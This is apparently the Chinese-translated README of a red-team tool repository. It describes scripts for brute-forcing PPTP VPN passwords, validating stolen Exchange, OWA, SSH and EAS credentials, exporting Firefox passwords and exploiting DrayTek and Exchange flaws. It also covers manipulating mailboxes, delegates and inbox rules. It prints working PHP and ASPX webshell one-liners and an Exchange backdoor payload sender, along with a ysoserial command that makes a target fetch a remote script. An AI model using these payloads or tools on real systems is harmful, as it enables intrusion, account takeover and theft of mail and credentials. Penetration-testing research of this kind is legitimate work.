
Python codes of my blog.
我博客中的 Python 代码。
使用暴力破解攻击获取 PPTP VPN 的密码。
它会读取文件(名为 wordlist)中的密码,然后使用 pptpsetup 连接服务器。
时间间隔为 10 秒。
用于扫描端口。
超时时间为 3 秒。
C++ 版本:
https://github.com/3gstudent/Homework-of-C-Language/blob/master/portscan.cpp
用于从 URL 获取 IP。
可以直接使用 Sublist3r 的结果。
用于去除 Sublist3r 结果中重复的 IP。
可以直接使用 urltoip.py 的结果。
可以使用 Sublime(F9) 对 IP 进行排序。
用于去除文件中的重复项。
参考:
https://pentest.com.tr/exploits/DEFCON-Webmin-1920-Unauthenticated-Remote-Command-Execution.html
用于调用 fofa 的 API 并从结果中输出 IP。
可以获得 100 条结果。
用于调用 fofa 的 API 并从结果中输出 IP。
如果你是 VIP,可以获得 10000 条结果。
参考:
https://seclists.org/fulldisclosure/2019/Sep/31
示例:
echo \<?php @eval\(\$_POST[pwd]\)\;?\> >test.php
参考:
https://mp.weixin.qq.com/s/dTzWfYGdkNqEl0vd72oC2w
示例:
system('cmd /c "echo ^<?php @eval(^$_POST[pwd]);?^> >D:\phpstudy\WWW\test.php"');
用于导出 Firefox 的密码
用于获取 Exchange 的版本。
首先通过 URL 的源代码获取 BuildNumber,然后获取版本。
参考:
用于扫描 SMBv3 RCE 漏洞。
超时时间为 3 秒。
参考:
https://github.com/imjdl/CVE-2020-8515-PoC
CVE-2020-8515
DrayTek Vigor2960 1.3.1_Beta、Vigor3900 1.4.4_Beta 以及 Vigor300B 1.3.3_Beta、1.4.2.1_Beta 和 1.4.4_Beta 设备允许通过向 cgi-bin/mainfunction.cgi URI 发送 shell 元字符,以 root 身份(无需认证)执行远程代码。
受影响产品:
使用 Zimbra SOAP API 连接 Zimbra 邮件服务器。
用法:
Zimbra_SOAP_API.py <url> <username> <password> <mode>
mode:
示例:
Zimbra_SOAP_API.py https://192.168.1.1 [email protected] password low
用于验证 Exchange Web Service 的有效账号(支持明文和 ntlmhash)
参考:https://github.com/dirkjanm/PrivExchange/blob/master/privexchange.py
用法:
checkEWS.py <host> <port> <mode> <domain> <user> <password>
<mode>:
- plaintext
- ntlmhash
示例:
checkEWS.py 192.168.1.1 443 plaintext test.com user1 password1
checkEWS.py test.com 80 ntlmhash test.com user1 c5a237b7e9d8e708d8436b6148a25fa1
用于访问 Autodiscover.xml 并获取用户配置(支持明文和 ntlmhash)
用法:
checkAutodiscover.py <host> <port> <mode> <email> <password> <command>
<command>:
- checkautodiscover
- getusersetting
- checkoab
- downloadlzx
示例:
checkAutodiscover.py 192.168.1.1 443 plaintext [email protected] password1 checkaut
odiscover
checkAutodiscover.py test.com 80 ntlmhash [email protected] c5a237b7e9d8e708d8436b6
148a25fa1 getusersetting
checkAutodiscover.py 的附加模式
添加一个 参数
用于访问 Exchange Web Service(支持明文和 ntlmhash)
用法:
ewsManage.py <host> <port> <mode> <domain> <user> <password> <command>
<mode>:
- plaintext
- ntlmhash
<command>:
- getfolderofinbox
- getfolderofsentitems
- listmailofinbox
- listmailofsentitems
- listmailoffolder
- getmail
- deletemail
- deletefolder
- getattachment
- saveattachment
- getdelegateofinbox
- adddelegateofinbox
- updatedelegateofinbox
- removedelegateofinbox
- getdelegateofinbox2
- updatedelegateofinbox2
- restoredelegateofinbox2
- getinboxrules
- updateinboxrules
- removeinboxrules
- deleteattachment
- createattachment
- createfolderofinbox
- listhiddenfolderofinbox
- createtestmail
- SetHiddenPropertyType
- UpdateHiddenPropertyType
- getcontact
- findpeople
- findallpeople
- resolvename
- resolveallname
示例:
ewsManage.py 192.168.1.1 443 plaintext test.com user1 password1 getfolderofinbox
ewsManage.py test.com 80 ntlmhash test.com user1 c5a237b7e9d8e708d8436b6148a25fa1 listmailofinbox
用于验证 SSH 的有效凭据(支持密码和私钥文件)
用法:
sshCheck.py <host> <port> <mode><user> <password>
<mode>:
- plaintext
- keyfile
示例:
sshCheck.py 192.168.1.1 22 plaintext root toor
sshCheck.py 192.168.1.1 22 keyfile root id_rsa
通过 SSH 执行远程命令(支持密码和私钥文件)
用法:
sshRunCmd.py <host> <port> <mode><user> <password> <cmd>
<mode>:
- plaintext
- keyfile
If the <cmd> is shell,you will get an interactive shell
示例:
sshRunCmd.py 192.168.1.1 22 plaintext root toor shell
sshRunCmd.py 192.168.1.1 22 keyfile root id_rsa ps
用于验证 eas(Exchange Server ActiveSync)的有效凭据
用法:
easCheck.py <host> <user> <password>
示例:
easCheck.py 192.168.1.1 user1 password1
用于通过连接 OWA 验证 Exchange 的有效账号。
用法:
checkOWA.py <url> <user> <password>
用于通过连接 OWA 读取邮件。
用法:
owaManage.py <url> <user> <password> <command>
<command>
- ListFolder
- ViewMail
- DownloadAttachment
使用 IMAP 连接邮件服务器。
用法:
imapManage.py <IMAP server> <username> <password> <command>
<command>:
CheckConfig get the folder name
SaveAttachOfInbox save the attachments of Inbox
SaveAttachOfSent save the attachments of Sent
DownloadAllMailOfInbox download all the mails of Inbox
DownloadAllMailOfSent download all the mails of Sent
Eg:
imapManage.py 192.168.1.1 user1 password CheckConfig
用于实现 NTLM 认证并与 execCmd.aspx 通信
通信数据使用 Base64 编码
用法:
aspxCmdNTLM.py <host> <port> <url> <mode> <domain> <user> <password> <command>
<mode>:
- plaintext
- ntlmhash
Eg.
aspxCmdNTLM.py 192.168.1.1 443 https://192.168.1.1/1.txt plaintext test.com user
1 password1 whoami
aspxCmdNTLM.py test.com 80 http://192.168.1.1/1.aspx ntlmhash test.com user1 c5a
237b7e9d8e708d8436b6148a25fa1 whoami
C# 版本:SharpExchangeBackdoor.cs
用于向 Exchange webshell 后门发送 payload。
支持:
用法:
<url> <user> <password> <mode> <path>
mode:
assemblyLoad
webshellWrite
示例:
SharpExchangeBackdoor.py https://192.168.1.1/owa/auth/errorFE.aspx no auth assemblyLoad payload.dll
SharpExchangeBackdoor.py https://192.168.1.1/ecp/About.aspx user1 123456 webshellWrite payload.aspx
assemblyLoad.aspx:
<%@ Page Language="C#" %><%System.Reflection.Assembly.Load(Convert.FromBase64String(Request.Form["demodata"])).CreateInstance("Payload").Equals("");%>
webshellWrite.aspx:
<%@ Page Language="C#" %><%if (Request.Files.Count!=0)Request.Files[0].SaveAs(Server.MapPath("./uploadDemo.aspx"));}%>
不安全的对象反序列化 - IMAP
用法:
<url> <user> <password> <payload path>
示例:
https://192.168.1.1 [email protected] password1 payload.obj
注意:
你可以像这样生成 payload.obj:
java -jar ysoserial.jar MozillaRhino2 "/usr/bin/wget https://192.168.1.1/test.sh --no-check-certificate -O /tmp/test.sh" > payload.obj
用于测试 Exchange 的反序列化代码执行。
从 Exchange 文件的读写权限到反序列化代码执行。
你需要修改 %ExchangeInstallPath%\FrontEnd\HttpProxy\\web.config 中的 machineKey 以实现反序列化代码执行。
<path>:owa 或 ecp
用法:
<url> <key> <path>
示例:
192.168.1.1 CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF owa
mail.test.com CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF ecp
用于解析 Exchange SOAP XML 消息。
用于访问 Exchange 管理中心
用法:
eacManage.py <url> <user> <password> <command>
<command>:
- ListAdminRoles
- NewAdminRoles
- EditAdminRoles
- DeleteAdminRoles
- AddMailbox
- RemoveMailbox
- ExportAllMailbox
- GetCertificate
- ExportCertificate
使用 vSphere Automation API(v7.0U1+)管理虚拟机
支持 Windows 和 Linux 虚拟机
使用 vSphere Web Services API 管理虚拟机
参考:https://github.com/vmware/pyvmomi/
安装:pip install --upgrade pyvmomi
用于管理 vCenter 上的 LDAP 数据库。
用于管理 SolarWinds Orion 平台
使用 SolarWinds Orion API 管理 Orion 平台
用于管理 MailEnable 邮件服务器
支持通过 HTTP 或 FTP 协议接收结果。
用于访问 Exchange Web Service(支持明文和 ntlmhash)
用于访问 Exchange Web Service(支持明文和 ntlmhash)
使用 requests_ntlm2 访问 Exchange Web Service(支持明文和 ntlmhash)
使用 requests_ntlm2 访问 Exchange Web Service(支持明文和 ntlmhash)
使用 session 减少通信数据
修改自 https://github.com/horizon3ai/vcenter_saml_login
修改自 https://github.com/horizon3ai/vcenter_saml_login
用于获取 Exchange 的版本并匹配已知漏洞
用于获取 Exchange 的版本,并从 https://docs.microsoft.com/en-us/exchange/new-features/build-numbers-and-release-dates?view=exchserver-2019 解析版本
你应该将 https://docs.microsoft.com/en-us/exchange/new-features/build-numbers-and-release-dates?view=exchserver-2019 保存为 exchange.data
用于获取 Exchange 的版本,并从 https://docs.microsoft.com/en-us/exchange/new-features/build-numbers-and-release-dates?view=exchserver-2019 解析版本
用于获取 Exchange 的内网 IP
基于 msf auxiliary/scanner/http/owa_iis_internal_ip,但支持更多 Exchange 服务器。
用于获取 vRealize Operations Manager 的版本
使用 bash 运行命令
用于解密 Sophos UTM 的 .plx 文件
参考:
https://www.atredis.com/blog/2021/8/18/sophos-utm-cve-2020-25223
https://github.com/the6p4c/bfs_extract
用于解析 Sophos UTM 的配置